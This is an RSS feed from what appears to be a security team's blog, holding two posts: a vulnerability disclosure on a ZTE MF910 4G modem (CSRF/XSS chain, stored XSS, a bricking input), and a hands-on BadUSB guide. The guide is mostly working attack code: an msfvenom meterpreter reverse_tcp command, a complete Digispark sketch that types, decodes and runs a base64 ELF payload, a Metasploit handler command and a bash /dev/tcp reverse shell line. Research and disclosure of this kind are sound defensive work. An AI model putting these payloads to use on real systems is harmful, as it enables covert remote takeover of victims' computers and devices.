<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Vulnerability &#8211; Team ROT Information Security</title>
	<atom:link href="/category/vulnerability/feed/" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>Team ROT Information Security</description>
	<lastBuildDate>Sat, 29 Aug 2020 10:50:38 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>

<image>
	<url>/wp-content/uploads/2020/08/cropped-ROT2-WHITE-BG.eps_-2-32x32.png</url>
	<title>Vulnerability &#8211; Team ROT Information Security</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WAN-to-LAN exploitation of 4G broadband modem</title>
		<link>/wan-to-lan-exploitation-of-4g-broadband-modem/</link>
					<comments>/wan-to-lan-exploitation-of-4g-broadband-modem/#respond</comments>
		
		<dc:creator><![CDATA[woltage]]></dc:creator>
		<pubDate>Tue, 07 Nov 2017 15:17:23 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=720</guid>

					<description><![CDATA[Nowadays, wireless 4G connections are fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor's devices. This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.]]></description>
										<content:encoded><![CDATA[<h1>Introduction</h1>
<p>Nowadays, wireless 4G connections&nbsp;are&nbsp;fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include&nbsp;a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor&#8217;s devices.&nbsp;This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.<br />
The research was started by connecting the ZTE-device to a computer normally and a connection was initiated in a way the manual instructed. A moment later, the administrative web-interface&nbsp;revealed itself with a default password of <em>&#8216;1234&#8217;.</em><br />
<img decoding="async" class="alignnone size-full wp-image-797" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29.png" alt="Screen Shot 2017-05-05 at 0.13.29.png" width="2208" height="1532" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29.png 2208w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-300x208.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1030x715.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-768x533.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1536x1066.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-2048x1421.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-1500x1041.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-13-29-705x489.png 705w" sizes="(max-width: 2208px) 100vw, 2208px" /></p>
<h1>WAN-to-LAN-attack: Send SMS-messages&nbsp;by chaining CSRF, XSS, weak default&nbsp;credentials and another CSRF</h1>
<p>The features&nbsp;provided by the web interface were examined and it was discovered that goform_set_cmd_process-functionality is used to send various commands to the modem. This&nbsp;functionality uses a single http-request in which various values are supplied with GET-parameters.<br />
The available commands were then examined and one of the most interesting commands was possibility&nbsp;to send SMS messages to given&nbsp;phone numbers. This command however requires that the user is authenticated to the web interface. It also requires that the &#8220;Referrer&#8221;-header of the http-request matches IP-address of the modem, thus making CSRF-attacks which originate from third-party domain impossible.<br />
<img decoding="async" class="alignnone size-full wp-image-799" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18.png" alt="Screen Shot 2017-05-05 at 0.15.18.png" width="2382" height="540" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18.png 2382w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-300x68.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1030x234.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-768x174.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1536x348.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-2048x464.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-1500x340.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-15-18-705x160.png 705w" sizes="(max-width: 2382px) 100vw, 2382px" /><br />
Easiest way to bypass the previously mentioned protections would be finding XSS-vulnerabilities which allow sending requests with proper &#8220;Referrer&#8221;-value. Thus began the search for a XSS-vulnerability.<br />
None were found in the goform_set_cmd_process, however a single reflected XSS&nbsp;was found in goform_get_cmd_process-functionality that is used to fetch data from the modem. The web interface uses GET-parameter named &#8220;cmd&#8221; to specify which command the functionality should execute. By inserting a malicious javascript-payload to this GET-parameter, the server places this payload to the http-response thus triggering an XSS on the web interface.<br />
This XSS on the&nbsp;goform_get_cmd_process-functionality did not require any authentication and had no CSRF-protection, which made it a great initial attack point for further attacks.</p>
<p><img decoding="async" class="alignnone size-full wp-image-815" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45.png" alt="Screen Shot 2017-05-05 at 0.57.45.png" width="2078" height="770" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45.png 2078w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-300x111.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1030x382.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-768x285.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1536x569.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-2048x759.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-1500x556.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-57-45-705x261.png 705w" sizes="(max-width: 2078px) 100vw, 2078px" /><br />
Next by crafting a special javascript payload for the XSS, it could be instructed to send http-request towards the SMS-functionality. As the&nbsp;request was sent from a page hosted by the modem via XSS, the &#8220;Referrer&#8221;-header value is now set to modem&#8217;s IP-address thus allowing access to the command.<br />
The SMS-functionality however still required that the user is authenticated. As the modem does not force users to change the default password and uses same password for every device, this was bypassed simply by using the XSS to send a login-request with default password.<br />
However a new problem was encountered during the exploitation attempt. The XSS allowed only a short payload which did not have enough space for sending the login-request and the SMS-message. This was&nbsp;bypassed fairly easily&nbsp;by splitting the payload in half. A&nbsp;second-stage payload contains the javascript that sends the login-command and the SMS-command.&nbsp;This second-stage payload is hosted on an external domain. A very simple first-stage payload was then supplied to the initial XSS and its only purpose is to load the second-stage payload script.</p>
<div id="attachment_803" style="width: 2440px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-803" decoding="async" class="alignnone size-full wp-image-803" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03.png" alt="Screen Shot 2017-05-05 at 0.50.03.png" width="2430" height="442" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03.png 2430w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-300x55.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1030x187.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-768x140.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1536x279.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-2048x373.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-1500x273.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-50-03-705x128.png 705w" sizes="(max-width: 2430px) 100vw, 2430px" /><p id="caption-attachment-803" class="wp-caption-text">First-stage payload</p></div>
<div id="attachment_806" style="width: 1680px" class="wp-caption alignnone"><img aria-describedby="caption-attachment-806" decoding="async" class="alignnone size-full wp-image-806" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25.png" alt="Screen Shot 2017-05-05 at 0.51.25.png" width="1670" height="292" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25.png 1670w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-300x52.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1030x180.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-768x134.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1536x269.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-1500x262.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-51-25-705x123.png 705w" sizes="(max-width: 1670px) 100vw, 1670px" /><p id="caption-attachment-806" class="wp-caption-text">Second-stage payload</p></div>
<p>Finally, the exploitation succeeded and by executing a CSRF-attack from a page hosted in internet, the full exploit chain was executed and the&nbsp;SMS-messages were&nbsp;sent to phone numbers specified by the adversary. Exploitation of this kind of&nbsp;attack is fairly severe as it requires nearly no user interaction and the initial attack can begin from WAN-side.<br />
https://youtu.be/BLIWNBp-u34<br />
An example attack scenario would be for example, when the user clicks on a link on e.g Facebook, the payload will trigger and the exploit will login to the system and send tons of SMS messages to whichever number that adversary&nbsp;defined in the payload. This will then lead to a situation where monetary consequences are caused to the owner of the modem and the targeted phone number will be filled with spam-messages.<br />
<img decoding="async" class="alignnone size-full wp-image-824" src="http://165.232.69.132/wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm.png" alt="Pasted image at 2017_05_04 11_41 PM.png" width="770" height="588" srcset="/wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm.png 770w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-300x229.png 300w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-768x586.png 768w, /wp-content/uploads/2017/05/pasted-image-at-2017_05_04-11_41-pm-705x538.png 705w" sizes="(max-width: 770px) 100vw, 770px" /></p>
<h1>Modem Takeover</h1>
<p>In practice, a hacker will be able to change any settings from the MF910 device via the previously introduced CSRF-based exploit chain.&nbsp;For example, an adversary can hijack the web interface and take over the modem by using the exploit chain and the functionality which the modem uses for changing passwords.<br />
<img decoding="async" class="alignnone size-full wp-image-809" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49.png" alt="Screen Shot 2017-05-05 at 0.52.49.png" width="2532" height="202" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49.png 2532w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-300x24.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1030x82.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-768x61.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1536x123.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-2048x163.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-1500x120.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-52-49-705x56.png 705w" sizes="(max-width: 2532px) 100vw, 2532px" /></p>
<h1>Stored XSS</h1>
<p>When creating new contacts, a &#8220;groupchoose&#8221;-parameter can be used to store malicious JavaScript payload&nbsp;in a&nbsp;contact that will be run each time contact page is opened.<br />
<img decoding="async" class="alignnone size-full wp-image-821" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47.png" alt="Screen Shot 2017-05-05 at 1.04.47.png" width="3092" height="490" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47.png 3092w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-300x48.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1030x163.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-768x122.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1536x243.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-2048x325.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-1500x238.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-04-47-705x112.png 705w" sizes="(max-width: 3092px) 100vw, 3092px" /><br />
This vulnerability&nbsp;is also exploitable via WAN-to-LAN-attack by using the previously introduced exploit&nbsp;chain.</p>
<h1><img decoding="async" class="alignnone size-full wp-image-817" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36.png" alt="Screen Shot 2017-05-05 at 1.03.36.png" width="1452" height="984" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36.png 1452w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-300x203.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-1030x698.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-768x520.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-1-03-36-705x478.png 705w" sizes="(max-width: 1452px) 100vw, 1452px" /></h1>
<h1>Persistent denial-of-service</h1>
<p>The&nbsp;goform_set_cmd_process-functionality contains a command &#8220;SET_WEB_LANGUAGE&#8221;, which is used to specify language of the&nbsp;web interface. By setting value of this command to <em>fi&#8221;, brick</em>, the modem will be bricked and the user can’t access the web interface&nbsp;anymore. Only way to recover from this&nbsp;denial-of-service condition is to do a&nbsp;factory reset&nbsp;on the modem.<br />
<img decoding="async" class="alignnone size-full wp-image-789" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-04-19-at-9-07-10.jpg" alt="Screen Shot 2017-04-19 at 9.07.10.jpg" width="3360" height="2046"><br />
The vulnerability can be exploited through a simple CSRF, however it requires that the &#8220;Referrer&#8221;-header matches IP-address of the modem. Thus, the previously introduced&nbsp;exploit chain can be used to exploit also this in a WAN-to-LAN-attack.<br />
<img decoding="async" class="alignnone size-full wp-image-812" src="http://165.232.69.132/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08.png" alt="Screen Shot 2017-05-05 at 0.54.08.png" width="2186" height="98" srcset="/wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08.png 2186w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-300x13.png 300w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1030x46.png 1030w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-768x34.png 768w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1536x69.png 1536w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-2048x92.png 2048w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-1500x67.png 1500w, /wp-content/uploads/2017/05/screen-shot-2017-05-05-at-0-54-08-705x32.png 705w" sizes="(max-width: 2186px) 100vw, 2186px" /></p>
<h1>Conclusion</h1>
<p>Current state of security in IoT-devices seems miserable (&#8220;The S in IoT stands for security&#8221;). This product did not prove otherwise. However when these vulnerabilities were reported to the manufacturer, the manufacturer reacted very quickly&nbsp;and all findings were fixed within couple of days, so there is light at the end of the tunnel. New firmware versions which fix the vulnerabilities were released to the original device and to the re-branded devices.</p>
]]></content:encoded>
					
					<wfw:commentRss>/wan-to-lan-exploitation-of-4g-broadband-modem/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploiting with BadUSB/Digispark + meterpreter payload</title>
		<link>/exploiting-with-badusbdigispark-meterpreter-payload/</link>
					<comments>/exploiting-with-badusbdigispark-meterpreter-payload/#respond</comments>
		
		<dc:creator><![CDATA[jvesiluoma]]></dc:creator>
		<pubDate>Wed, 22 Mar 2017 11:13:35 +0000</pubDate>
				<category><![CDATA[Exploitation]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[badusb]]></category>
		<category><![CDATA[digispark]]></category>
		<category><![CDATA[digistump]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[meterpreter]]></category>
		<guid isPermaLink="false">http://blog.rot.fi/?p=712</guid>

					<description><![CDATA[Here is a small guide on how to create a BadUSB - stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that'll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that there's always a user typing on the keyboard, which is a pretty nasty exploit and enables a lot of possibilities.]]></description>
										<content:encoded><![CDATA[<h1>Exploiting with BadUSB / Digispark + meterpreter payload</h1>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192323.jpg"><img decoding="async" class="wp-image-715 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192323.jpg" alt="" width="407" height="276"></a><br />
Here is a small guide on how to create a BadUSB &#8211; stick with a meterpreter payload to Linux. BadUSB can be a normal USB memory stick with a customized firmware that&#8217;ll have the computer to recognize the device as a keyboard. Because of this, the computer thinks that&nbsp;there&#8217;s always a user typing on the keyboard, which is a pretty nasty exploit and enablse a lot of possibilities. For example, with physical access to the victims computer you can do following things with BadUSB:</p>
<ul>
<li>Inject malware</li>
<li>Steal passwords</li>
<li>Delete files</li>
<li>etc&#8230;whatever you can do with a keyboard, a BadUSB can do also.</li>
</ul>
<p>Of course, you could buy&nbsp;a <a href="https://hakshop.com/collections/usb-rubber-ducky">Rubber Ducky from Hak5</a>&nbsp;, but you&#8217;d miss all the fun tinkering with cool things. This guide is made for Digispark from <a href="http://digistump.com/">Digistump</a>.<br />
Digispark can be programmed so that when the computer accepts it as a keyboard, it starts to send key presses to computer. Since Digispark has only 8Kb (6Kb of programmable space after bootloader), options are somewhat limited, but should be&nbsp;more than enough for most purposes and it&#8217;s also possible to circumvent the space limit.</p>
<h2>0x00 Pre-requisities:</h2>
<ul>
<li><a href="http://digistump.com/products/1">Digispark</a>&nbsp;, a low cost (~8$ at the time of writing this)&nbsp;USB development board</li>
<li><a href="https://www.arduino.cc/en/main/software">Arduino-IDE</a> (<a href="http://digistump.com/wiki/digispark/tutorials/connecting">install guide here</a>)</li>
<li><a href="https://www.kali.org/">Kali &#8211; Linux</a></li>
</ul>
<h2>0x01 Install Arduino-IDE</h2>
<p>Since the installation guide is excellent in the digistump.com site, I will not even try to recreate them in detail here. <a href="http://digistump.com/wiki/digispark/tutorials/connecting">Configure Arduino-IDE by these instructions</a>.<br />
Just make sure you have added following URL to &#8220;Additional Boards Manager URLs:&#8221; (<em>File</em> -&gt; <em>Preferences</em>):</p>
<pre>http://digistump.com/package_digistump_index.json</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-preferences.png"><img decoding="async" class="wp-image-719 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-preferences.png" alt="" width="638" height="518"></a><br />
Also, install &#8220;<em>Digistump AVR Boards by Digistump</em>&#8221; via Boards manager (<em>Tools</em> -&gt; <em>Boards</em> -&gt; <em>Boards Manager</em>)&#8230;<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-boards-manager.png"><img decoding="async" class="wp-image-722 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/arduino-ide-boards-manager.png" alt="" width="604" height="340"></a><br />
And select &#8220;<em>Digispark (Default &#8211; 16.5mhz)</em>&#8221; as a board.<br />
Arduino-IDE should now be good to go.</p>
<h2>0x02 Generating a meterpreter payload</h2>
<p>Generation of the payload is pretty straightforward. It&#8217;s generated with &#8220;<em>msfvenom</em>&#8221; as follows.</p>
<pre>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.8 LPORT=880 -f elf &gt; mShell_880</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/msfvenom.png"><img decoding="async" class="size-full wp-image-727 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/msfvenom.png" alt="" width="1009" height="114"></a><br />
Of course, LPORT and the LHOST should be changed to match your IP-addresses. LHOST should be the Kali box where the metasploit handler is waiting for the connection back from the victim and LPORT is the port you want to use. The output of the msfvenom is directed to file called &#8216;<em>mShell_880</em>&#8216;. The output of the executable payload is only 155 bytes, so we have plenty of space left.<br />
Since the payload is &#8220;typed&#8221; to victim, it has to be Base64 encoded, so we can &#8220;input&#8221; it to victim and generate the executable payload. Basically, what we want to do, is to echo the Base64 string and decode it and direct the output to a file, change the executable bit for the file and run the payload.<br />
Base64 encoding is done as follows:</p>
<pre>base64 mShell_880 &gt; mShell_880.b64</pre>
<p>&#8220;<em>mShell_880.b64</em>&#8221; &#8211; file now holds our payload encoded in Base64. We can use this string in our program that outputs it to victims terminal.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/base64_encoded_payload.png"><img decoding="async" class=" wp-image-742 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/base64_encoded_payload.png" alt="" width="616" height="72"></a></p>
<h2>0x03 Programming with Arduino-IDE</h2>
<p>The program is&nbsp;very simple and straightforward. I commented the program below, so it should be very clear what is done. On default, it works only with US &#8211; keyboard layout, but it&#8217;s possible to remap the keyboard layout from &#8220;<em>DigiKeyboard.h</em>&#8221; &#8211; file. Since this is for PoC only, I don&#8217;t include any other layouts in this post. Sorry <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<pre>/*
* Works with US - keyboard layout only, because of testing purposes.
*
* 1. Send super key ('Windows key') to bring up the search
* 2. input 'terminal' and send enter
* 3. Send our binary payload via base64 encoded string, decode it and output to file
* 4. Change executable bit for the payload and execute it.
* 5. Enjoy.
*/
#include "DigiKeyboard.h"
void setup() {
// LED on.
pinMode(1, OUTPUT);
delay(200);
// Super, delete content
// Start to inject payload, turn the LED on
digitalWrite(1, HIGH);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean
delay(200);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); // Super key, open 'search'
delay(300);
DigiKeyboard.print("terminal"); // Program to run
delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER,0);
// Delay for 1 second, if terminal is not opened, part of the string below is wasted to /dev/null
delay(1000);
// Send our payload
DigiKeyboard.print("echo");
DigiKeyboard.sendKeyStroke(KEY_SPACE);
DigiKeyboard.print("f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1toCgAACGgCAANwieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= | base64 --decode &amp;gt; /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(500);
// Change the permissions for the file...
DigiKeyboard.println("chmod 755 /tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
// ...and execute it
DigiKeyboard.println("/tmp/mShell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(100);
// Payload executed!
digitalWrite(1, LOW);
}
void loop() {
// When scripts are done, blink some LED like it's 19
digitalWrite(1, HIGH);
delay(200);
digitalWrite(1, LOW);
delay(300);
}
</pre>
<p>Now, it&#8217;s possible to check the code for errors from Arduino-IDE by clicking &#8220;<em>Sketch</em> =&gt; <em>Verify/Compile</em>&#8221; (or by pressing CTRL + R on the Arduino-IDE). If no errors found, the program is ready to be uploaded to Digispark by first clicking &#8220;<em>Sketch</em> =&gt;&nbsp;<em>Upload</em>&#8221; (or by pressing CTRL + U on the Arduino IDE) and you should get a following info on the bottom of the IDE window.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-upload.png"><img decoding="async" class=" wp-image-747 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-upload.png" alt="" width="505" height="96"></a><br />
Now the Digispark can be inserted to a USB port on the computer. After a while, the update should go through and you should see following info.<br />
<a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-uploaded.png"><img decoding="async" class="size-full wp-image-748 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/ArduinoIDE-uploaded.png" alt="" width="253" height="105"></a><br />
The programming of the Digispark is now ready and it now is a &#8216;BadUSB&#8217;.<br />
Note: I had some problems with the uploading. Sometimes it takes a few tries to get a succesful program upload to Digispark, don&#8217;t yet know why..</p>
<h2>0x04 Metasploit, multi/handler</h2>
<p>Now multi/handler is setup to catch the meterpreter shell.&nbsp;Payload is &#8220;<em>linux/x86/meterpreter/reverse_tcp</em>&#8220;, since the generated payload<br />
The whole point of this is guide is to demonstrate how dangerous it is to plug in USB sticks. Keep in mind that normal USB stick firmwares can also be reprogrammed like this and it doesn&#8217;t necessary help that they are formatted.<br />
multi/handler can simply be setup from the terminal with following command:</p>
<pre>msfconsole -x "use multi/handler;\
set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
set LHOST 10.0.0.8;\
set LPORT 880;\
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
exploit"</pre>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/meterpreter_ready_to_catch_the_fly.png"><img decoding="async" class=" wp-image-745 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/meterpreter_ready_to_catch_the_fly.png" alt="" width="564" height="205"></a></p>
<h2>0x05 The Exploitation</h2>
<p><a href="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192405.jpg"><img decoding="async" class=" wp-image-751 aligncenter" src="https://www.vesiluoma.com/wp-content/uploads/2017/02/20170222_192405.jpg" alt="" width="494" height="287"></a><br />
Now we are ready to test the BadUSB we have just created. When the Digispark / BadUSB is now inserted to linux computer, it should open the dashboard/search, open terminal, echo the Base64 encoded payload and decode it to file, change the executable bit for the payload file and run it. When the payload is run,&nbsp;multi/handler gets the shell. Here is a video recorded when the Digispark / BadUSB is inserted in to the linux computer. In the image above, you can see both LEDs from the Digispark are lighted, when the payload on the Digispark is executed.<br />
Top right corner: syslog from &#8216;victim&#8217;, it&#8217;s visible when the BadUSB / Digispark is plugged in<br />
Lower right corner: multi/handler from attacking server</p>
<div class='avia-iframe-wrap'><iframe title="badUSB (Digispark) + meterpreter payload" width="1333" height="1000" src="https://www.youtube.com/embed/W-UPinvtevs?feature=oembed" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<h2>0x06 Mitigation</h2>
<p>As for mitigation, for Windows, there is a program called &#8216;<a href="https://jlospinoso.github.io/infosec/usb%20rubber%20ducky/lan%20turtle/c%23/clr/wpf/.net/security/2016/11/30/beamgun-update-poison-tap.html"><em>Beamgun</em></a>&#8216; (haven&#8217;t tested it yet). Of course as for Windows, Linux, OSX you could always disable USB ports, create scripts that prevent adding new hardware etc., but if you really need USB devices, that would be pretty cumbersome in the long run. And of course&#8230;don&#8217;t plug untrusted devices to your computer and don&#8217;t let anybody plug unknown USB devices to your computer. There is also a physical, small box called &#8216;<a href="http://www.usbguard.fi/">USBguard</a>&#8216; (also not tested in this experiment), that should block these kinds of attacks.</p>
<h2>0x07 Conclusion</h2>
<p>BadUSB stick could also be created with a normal USB drive (e.g. &#8216;Rubber ducky&#8217; from Hak5) and this shows how bad effects plugging &#8216;found&#8217; USB stick can have. Payload could also be something more nasty, e.g. wipe the whole drive from the computer.<br />
It&#8217;s also possible to create payloads for Windows and OSX. For OSX, you can get a shell using for example following payload after you have launched a shell:</p>
<pre>DigiKeyboard.print("/bin/bash -i &gt; /dev/tcp/10.0.0.8/880 0&lt;&amp;1 2&gt;1");</pre>
<p>I&#8217;ll post example codes for Windows and OSX also when I have time to tinker some more.</p>
<p>(Original article:&nbsp;<a href="https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/">https://www.vesiluoma.com/exploiting-with-badusb-meterpreter-digispark/</a> )</p>
]]></content:encoded>
					
					<wfw:commentRss>/exploiting-with-badusbdigispark-meterpreter-payload/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
